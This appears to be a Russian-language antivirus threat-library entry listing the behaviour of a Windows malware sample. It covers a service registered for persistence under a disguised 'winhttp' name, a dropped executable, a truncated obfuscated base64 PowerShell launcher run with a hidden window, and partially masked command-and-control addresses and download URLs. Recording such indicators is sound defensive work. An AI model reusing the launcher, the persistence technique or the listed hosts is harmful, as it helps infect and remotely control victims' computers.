Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\winhttp] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\winhttp] 'ImagePath' = '"%WINDIR%\SysWOW64\SortServer2003Compat\winhttp.exe"'
- 'winhttp' "%WINDIR%\SysWOW64\SortServer2003Compat\winhttp.exe"
- 'winhttp' %WINDIR%\SysWOW64\SortServer2003Compat\winhttp.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABHAEQAWgBBAFoAeABwAGgAPQAnAFAATABKAFMAUQBtAGIAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAHUAUgBpAHQAWQBQAGAAUgBvAHQAbwBjAGAATwBsACIAIAA9AC...
- %HOMEPATH%\848.exe
- %HOMEPATH%\848.exe в %WINDIR%\syswow64\sortserver2003compat\winhttp.exe
- '82.##.111.249':443
- '11#.#25.120.88':443
- '21#.#60.182.191':8080
- '18#.#.185.98':8080
- '18#.#94.58.119':80
- '21#.#81.91.224':80
- '21#.#2.13.25':80
- '19#.#.193.152':8080
- http://sa####ng-group.com/J0Eubtq06/
- http://18#.#94.58.119/Y4qJDNRLOcKR4Hl5bv/esP6MW7YGq1Lwq/HSTC6chEtpr/UKn3TAN1c165BU/jGeNaNu/
- DNS ASK sa####ng-group.com
- '%HOMEPATH%\848.exe'
- '%WINDIR%\syswow64\sortserver2003compat\winhttp.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABHAEQAWgBBAFoAeABwAGgAPQAnAFAATABKAFMAUQBtAGIAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAHUAUgBpAHQAWQBQAGAAUgBvAHQAbwBjAGAATwBsACIAIAA9AC...' (со скрытым окном)